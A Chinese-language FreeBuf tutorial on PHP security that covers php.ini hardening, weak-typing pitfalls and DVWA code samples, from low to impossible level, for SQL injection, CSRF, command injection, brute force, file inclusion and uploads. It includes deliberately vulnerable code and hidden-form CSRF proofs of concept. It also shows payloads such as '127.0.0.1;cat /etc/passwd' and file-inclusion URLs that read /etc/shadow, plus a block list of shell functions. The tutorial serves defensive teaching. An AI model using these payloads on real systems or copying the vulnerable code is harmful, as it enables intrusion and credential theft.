淺談PHP安全規範
*本文作者:littlepotato,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
php因天生支援web應用的開發,以其簡單易學,開發效率高而備受喜愛。使其佔據了大片的市場。但是php本身的安全問題卻一直不曾消停,以及不規範的php程式碼編寫規範,使得web應用漏洞百出。這篇文章從配置檔案和程式碼編寫角度出發,總結記錄php相關安全。新手上路,向前輩致敬。
請充分了解你的php
基本資訊
注意到以下的檔案結構在新版本php或者不同的發行版中略有不同,就好比在ubuntu18.04中安裝php7就和下面的檔案結構有較大的差別,所以下面的檔案僅僅作為一個apache的架構參考。
Root:/var/www/html
預設Web服務:Apache(可以使用Lighttpd或Nginx代替)
預設PHP配置檔案:/etc/php.ini
預設PHP Extensions
配置目錄:/etc/php.d/
PHP安全配置樣例檔案:/etc/php.d/security.ini(需要使用文字編輯器建立這個檔案)
php 版本: php -v
檢視當前PHP所編譯 : php -m
敏感配置
以下是一些常見的配置舉例,更多請檢視: ofollow,noindex" target="_blank">http://php.net/manual/zh/ini.core.php#ini.variables-order 。
不在請求頭中洩露php資訊:
expose_php=Off
不回顯php錯誤(包括執行錯誤時和啟動時錯誤),但是進行錯誤記錄:
play_errors=Off display_startup_errors=off log_errors=On error_log=/var/log/httpd/php_scripts_error.log
檔案上傳開啟與否和最大上傳檔案限制:
file_uploads=On upload_max_filesize=1M
控制最大post資料:
post_max_size=1M
注意:到要比upload_max_filesize大,否則後者失效。
關閉遠端程式碼執行:
allow_url_fopen=Off allow_url_include=Off
關閉全域性註冊變數,不過預設5.x版本的php是off:
register_globals=off
關於安全模式和粗暴的魔術引號過濾,注意到save_mode模式在php5.3以上版本,safe_mode被棄用,在php5.4以上版本,則將此特性完全去除了:
safe_mode=On safe_mode_include_dir = D:/phpstudy/www/include/ magic_quotes_gpc=Off#如果開啟了這個,然後在php應用中使用addslashes()過濾輸入會造成雙重轉義,使得過濾無濟於事,遇到這種情況時可以使用函式get_magic_quotes_gpc() 進行檢測。 magic_quotes_runtime
資源管理防止過分消耗伺服器資源:
max_execution_time = 30 max_input_time = 30 memory_limit = 40M
禁用危險函式:
disable_functions = phpinfo,eval,passthru,assert,exec,system,ini_set,ini_get,get_included_files, get_defined_functions,get_defined_constants,get_defined_vars, glob,``,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status, ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink, symlink,popepassthru,stream_socket_server,fsocket,fsockopen
限制php訪問檔案系統:
open_basedir='/var/www/html/';......;......
session儲存路徑:
session.save_path="/var/lib/php/session"
上傳檔案預設路徑:
upload_tmp_dir="/var/lib/php/upload"
關於危險函式
特殊符號:
“:反引號運算子在激活了安全模式或者關閉了 shell_exec() 時是無效的,同時與其它某些語言不同,反引號不能在雙引號字串中使用。否則將會當作shell命令執行,執行效果等同於shell_exec()。
檔案操作: http://php.net/manual/zh/ref.filesystem.php 。
全域性資訊,配置等: http://php.net/manual/zh/ref.info.php 。
程式執行: http://php.net/manual/zh/book.exec.php 。
不要過分相信php
弱型別
前人之述備矣,僅僅做個彙總。同樣還可以參看官網給出的型別表( PHP 型別比較表 )。
0=='0'//true 0 == 'abcdefg'//true 1 == '1abcdef'//true null==false//true 123=='123'//true //雜湊比較 "0e132456789"=="0e7124511451155" //true "0e123456abc"=="0e1dddada"//false "0e1abc"=="0"//true "0x1e240"=="123456"//true "0x1e240"==123456//true var_dump(intval('2'))//2 var_dump(intval('3abcd'))//3 var_dump(intval('abcd'))//0 //任意兩個array,MD5相等 var_dump(md5($array1)==var_dump($array2));//true //case 自轉換,以下程式碼輸出i is less than 3 but not negative $i ="2abc"; switch ($i) { case 0: case 1: case 2: echo "i is less than 3 but not negative"; break; case 3: echo "i is 3"; } //in_array的缺陷,array_search $array=[0,1,2,'3']; var_dump(in_array('abc', $array));//true var_dump(in_array('1bc', $array));//true //strcmp在php5.x個版本後有些特性不太同,所以遇到的時候具體討論
全域性註冊變數
如果已經棄用的 register_globals 指令被設定為 on 那麼區域性變數也將在指令碼的全域性作用域中可用。例如, $_POST['foo'] 也將以 $foo 的形式存在。這將會造成一些變數覆蓋,條件判斷繞過。以下是簡化的全域性變數認證繞過模型:
if(authenticated_user()){ $authorized=true; } if($authorized){ do something...... }
對於以上的繞過,我們可以有以下的規避措施:(1) php.ini register_globals=off(2) 在每次判斷前初始化變數,如下:
$authorized=false; if(authenticated_user()){ $authorized=true; } if($authorized){ do something...... }
php偽協議
偽協議在很多繞過場景下發揮著舉足輕重的作用,如後面提到的檔案包含file://協議繞過,以及最近才提出的phar協議反序列化物件注入,我們可以在不存在可控unserialization()函式的情況下利用phar反序列化物件,實現物件注入。所以在web應用中不要忽視他們的存在,千里之堤,潰於蟻穴。
file:///var/www/html訪問本地檔案系統 ftp://<login>:<password>@<ftpserveraddress>訪問FTP(s) URLs data://資料流 http:// — 訪問 HTTP(s) URLs ftp:// — 訪問 FTP(s) URLs php:// — 訪問各個輸入/輸出流 zlib:// — 壓縮流 data:// — Data (RFC 2397) glob:// — 查詢匹配的檔案路徑模式 phar:// — PHP Archive ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — Audio streams expect:// — 處理互動式的流
向DVWA學習php安全的程式碼編寫
以下樣例來自於DVWA v1.9版本
sql注入
Low level
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query= "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i= 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last= mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?>
在這個例子中,是最low安全等級的php程式碼編寫樣例,可以看到,程式碼中並沒有對使用者輸入的id變數進行檢查和過濾,同時使用的是$_REQUEST全域性陣列的方式,如果不是特別需要,我們程式設計的時候儘量不要使用$_REQUEST獲取使用者的引數,因為$_REQUEST的引數比較雜,包括$_GET,$_POST,$_COOKIE等超全域性變數,並且二者還存在變數獲取順序的不一致,受配置檔案中variables_order的約定,在存在waf的環境下,容易造成繞過。未經處理的使用者輸入直接與sql語句拼接互動,造成sql注入漏洞,十分危險。
Medium level
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $query= "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i= 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last= mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } //mysql_close(); } ?>
這個版本的程式碼,與之前的相比只是多了個mysql_real_escape_string函式的過濾,但是要知道這裡的$id在sql語句中是數字型別,這樣mysql_real_escape_string的轉義就會形同虛設,注入仍舊是一馬平川。當然不恰當的字元編碼,可能會造成寬位元組注入。
High leval
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query= "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results $num = mysql_numrows( $result ); $i= 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last= mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?>
在高階版本中只是把注入點隱匿在了$_SESSION全域性變數裡面,而session中的id值的註冊是通過使用者輸入$_POST全域性變數傳入,所以是完全可控的,這樣一來,就和之前的注入沒有什麼不一樣。這段程式碼是要提醒我們對於session,只要註冊值是使用者可控的,也是可能存在sql注入的風險的。另外需要注意到的是,在這個High級別的注入中,回顯和傳參頁面不是同一個,是一個二階注入,如果使用工具注入,如sqlmap,別忘了加上自定義回顯–second-order引數。
Impossible level
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last= $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
根據DVWA的說法,這樣寫出來的應用,是不存在sql注入的。也即這是個十分安全的php程式碼編寫規範。why?首先,我們可以看到它使用Anti-CSRF token的方法來避免csrf攻擊(具體細節會在下文csrf防禦談到),然後在sql語句的編寫中,使用的是預處理語句,所謂的預處理就是通過php的pdo預處理機制PDO::prepare,先往資料庫送出語句模板,進行解析,編譯,然後第二次向資料庫傳入查詢引數,在第二次的查詢過程中可以理解為不再進行語義解析,所以即使傳入sql語句,也會因為不進行語義解析而失效。所以這是一種比較推薦的資料庫互動sql語句編寫規範。現在很多主流的資料庫已經支援預處理,即使不支援,PHP的PDO也會進行預處理模擬實現,這樣對於程式設計師介面一致,不需瞭解不同資料庫對預處理支援的方式差異。
更多PDO細節可以參考官網: http://php.net/manual/zh/pdo.prepared-statements.php。
引數bind的細節可以參考: http://php.net/manual/zh/pdo.constants.php。
CSRF
完整的攻擊過程,可以看這篇前輩的文章: http://www.freebuf.com/articles/web/118352.html 。
Low level
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new= $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } mysql_close(); } ?>
所謂的CSRF(Cross-site request forgery)直白的翻譯就是跨站點請求偽造。說人話就是攻擊者通過誘使victim訪問其精心構造的url或者訪問其精心構造的頁面,來使得攻擊者可以以victim的身份做諸如發郵件,發訊息,改密碼等騷操作。在DVWA這個系列裡面,模擬的是修改密碼的介面。先來看下low等級的程式碼,可以說是沒有進行仍和的再認證,試下為啥是“再認證”?其實我們在訪問到這個修改密碼介面的時候,已經登陸過一次,伺服器會在每次訪問時檢查session。所以這是第一道認證。但是這種會話級別的認證對csrf是沒有抵抗力的。具體的過程可以參看之前提到的連結。我們可以直接構造url: http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# 。
讓victim訪問,或者使用更加隱匿的:
<style> form{ display:none; } </style>
構造無跡表單,結合js傳送請求,或者:
<img src="<a href="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#">http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#</a>" border="0"style="display:none;"/>
來實現欺騙隱匿行蹤,達到修改密碼的目的。順便盜用兩個別人的poc方便展示:
(1) 圖片形式誘導
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
(2) 隱藏表單的形式
<body onload="javascript:csrf()"> <script> function csrf(){ document.getElementById("button").click(); } </script> <style> form{ display:none; } </style> <form action="http://www.dvwa.com/vulnerabilities/csrf/?" method="GET"> New password:<br /> <input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br /> Confirm new password:<br /> <input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br /> <br /> <input type="submit" id="button" name="Change" value="Change" /> </form> </body>
Medium level
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { // Get input $pass_new= $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } mysql_close(); } ?>
在這個級別的CSRF漏洞中,服務端多了一句eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ]校驗,ereg()函式是模式匹配,通過超全域性陣列獲取了請求頭referer值(也就是訪問者向host發起請求時所在的頁面)和host值,並且檢查host的值是否在referer中出現。根據權威 ( sary/Forbidden_header_name" ref="nofollow" rel="nofollow,noindex" target="_blank">https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name ),這兩個值無法以程式設計的方式修改,抓包除外,因為在csrf中無法通過抓取客戶端的包進行修改,所以按理來說是安全的。實則不然,通過公網伺服器,誘使victim訪問名字包含host的html檔案就可以實現繞過。
High level
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new= $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>
在高級別中的程式碼,主要是使用了Anti-csrf機制,使用者每次訪問改密頁面時,伺服器會返回一個隨機的token,向伺服器發起請求時,需要提交token引數,而伺服器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。我們可以按F12來看看這個token:
可以看到不同的使用者會返回一個不同的token,這個token在hidden欄裡面,這樣一來,迫於同源策略,攻擊者無法獲取victim的token,也就無法實現CSRF攻擊。但是真的無法實現嗎?配合xss我們還是可以盜取token的,但是這難度無疑增大,我們必須要有伺服器的一個xss漏洞來盜取token,然後再使用CSRF。攻擊成本也增大。
Impossible level
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new= $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = mysql_real_escape_string( $pass_curr ); $pass_curr = md5( $pass_curr ); // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } // Generate Anti-CSRF token generateSessionToken(); ?>
在high的基礎上,直接進行了密碼再認證,這樣一來,即使盜取了token,沒有原始密碼,也無法進行修改密碼的操作,這樣CSRF就可以完全避免了。所以通過這個CSRF系列,我們可以知曉,在csrf防禦中,採用關鍵操作的原子性認證,是避免這一漏洞攻擊的不二辦法。其實我們只關注了CSRF部分,在之前的level中,也還存在了sql注入,在這個impossible版本里,還使用了之前提到的預操縱來進行資料庫互動,降低了sql注入的風險。
Command Injection
Low level
<?php if( isset( $_POST[ 'Submit' ]) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping' . $target ); } else { // *nix $cmd = shell_exec( 'ping-c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
過分相信使用者的輸入,直接拼接到ping 命令中,會造成命令注入。注意到常用的bash命令拼接的方式有||.&&,|,&,;這五個,所以由於沒有過濾完全,我們直接進行命令拼接,然後執行任意命令,如127.0.0.1;cat /etc/passwd。
Medium level
<?php if( isset( $_POST[ 'Submit' ]) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';'=> '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping' . $target ); } else { // *nix $cmd = shell_exec( 'ping-c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
這裡採用黑名單過濾的方式,注意到黑名單的辦法存在的通病就是過濾不完全。可以看到這裡也一樣,沒有把之前提到的東西給過濾完全。其實highlevel也是一樣的,過濾語句寫得不嚴謹,多加了空格,造成繞過,這裡就不再展開敘述了。同過這個例子可以直觀的看到黑名單式過濾方式是不安全的,容易出岔子。接著我們將看到Impossible等級下的白名單試想方式。直接指定只接受num.num.num.num型的輸入,也就是我們期望的輸入,從而避免了命令執行。
Impossible level
<?php if( isset( $_POST[ 'Submit' ]) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping' . $target ); } else { // *nix $cmd = shell_exec( 'ping-c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
Brute Force
暴力列舉攻擊,服務端沒有在後臺設定錯誤次數上限和相關校驗,就會給攻擊者暴力列舉使用者或者基於字典的密碼暴力破解。所以正確的程式碼編寫規範需要規定容許的錯誤嘗試次數,超過這個值就會鎖定賬戶一個定義長的時間。這裡需要明確,光加入一個隨機的token就想避免Brute Force是相當幼稚的,攻擊者通過python指令碼來抓取頁面的token,就可以完全繞過,這也是high等級所犯的錯。這裡就不展示,只列出impossible等級和low 等級的程式碼,供對比閱讀:
Low level
<?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query= "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } mysql_close(); } ?>
Impossible level
<?php if( isset( $_POST[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_POST[ 'username' ]; $user = stripslashes( $user ); $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); // Default values $total_failed_login = 3; $lockout_time= 15; $account_locked= false; // Check the database (Check user information) $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ){ // User locked out.Note, using this method would allow for user enumeration! //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; // Calculate when the user would be allowed to login again $last_login = $row[ 'last_login' ]; $last_login = strtotime( $last_login ); $timeout= strtotime( "{$last_login} +{$lockout_time} minutes" ); $timenow= strtotime( "now" ); // Check to see if enough time has passed, if it hasn't locked the account if( $timenow > $timeout ) $account_locked = true; } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar= $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login= $row[ 'last_login' ]; // Login successful echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; echo "<img src=\"{$avatar}\" />"; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
我們可以看到,在impossible程式碼中,不但設定了錯誤次數鎖,Anti-CSRF token,而且還提供了暴力嘗試資訊反饋,當用戶登陸成功後會將被暴力登陸的次數給反饋給正確登陸的使用者。這個實現得益於,每次錯誤嘗試都會更新last_login的時間和failed_login+1操作,然後將之入庫。
Local File Inclusion
漏洞根據利用方式可以分為:
本地檔案包含(Local File Inclusion),簡稱LFI。
遠端檔案包含(Remote File Inclusion),簡稱RFI。
涉及到的函式如下:
include():只有程式碼執行到該函式時才會包含檔案進來,發生錯誤時只給出一個警告並繼續向下執行; include_once():和include()功能相同,區別在於當重複呼叫同一檔案時,程式只調用一次。
require():只要程式執行就包含檔案進來,發生錯誤時會輸出錯誤結果並終止執行; require_once():和require()功能相同,區別在於當重複呼叫同一檔案時,程式只調用一次。
檔案包含光從字面意思來看是可以通過漏洞利用洩露一些本地敏感檔案,但是益於以上幾個函式在包含檔案的時候是預設把檔案當成程式碼來對待,如果出現可執行的php片段就會執行這一性質,檔案包含漏洞一般是可以進行任意程式碼執行的,只要我們能夠讓伺服器包含我們可控的程式碼段。
Low level
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>
沒有對我們的輸入做任何過濾,可以說是一點安全意識都沒有。隨便利用。舉個栗子:[ http://localhost/dvwa/vulnerabilities/fi/page=/etc/shadow ]( http://localhost/dvwa/vulnerabilities/fi/page=/etc/shadow )。當然也可以在服務端寫下poc.php,利用http協議實現程式碼執行[ http://localhost/dvwa/vulnerabilities/fi/page=http:// ]( http://localhost/dvwa/vulnerabilities/fi/page=http:// )[ip]/poc.php。前提條件是allow_url_fopen和allow_url_include處於開啟狀態。
Medium level
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>
首先這個基於黑名單的過濾,壓根就沒有把本地絕對路徑考慮到,其次可以使用…/./,htthttpp進行繞過。
High level
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
這是一種基於白名單的過濾,只接受字首為“file”的檔案,咋一看很ok,然而卻疏忽了file協議。[ http://localhost/vulnerabilities/fi/?page=file:///etc/passwd ]( http://localhost/vulnerabilities/fi/?page=file:///etc/passwd )。
Impossible level
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
這是相當的白名單,你贏了。但是想要檔案量巨大的場景中維護這麼一張白名單有點不太理智,所以筆者這種硬編碼的方式不太常用。
Upload file
上傳漏洞經常可以用來上傳任意程式碼洩露系統資訊,如<?php phpinfo();?>,甚至可以直接上傳webshell,拿下伺服器許可權,所以這個漏洞是十分嚴重的。
Low level
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path= DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
可以看到上面的程式碼對使用者上傳的檔案($_FILE全域性陣列的形式)沒有進行任何的驗證操作,就直接將其move到了upload目錄,這是相當危險的操作,攻擊者可以毫無忌憚的隨意日。
Medium level
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path= DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { #只判斷了MIME // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
上面的程式碼加入了MIME判斷,所謂的MIME判斷是在請求頭中的一個欄位,用來指示檔案型別,方便伺服器進行對應的處理,只要抓包就可以隨意修改,達到欺騙伺服器的目的。(更多的解釋可以檢視: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types)
High level
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path= DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext= substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp= $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
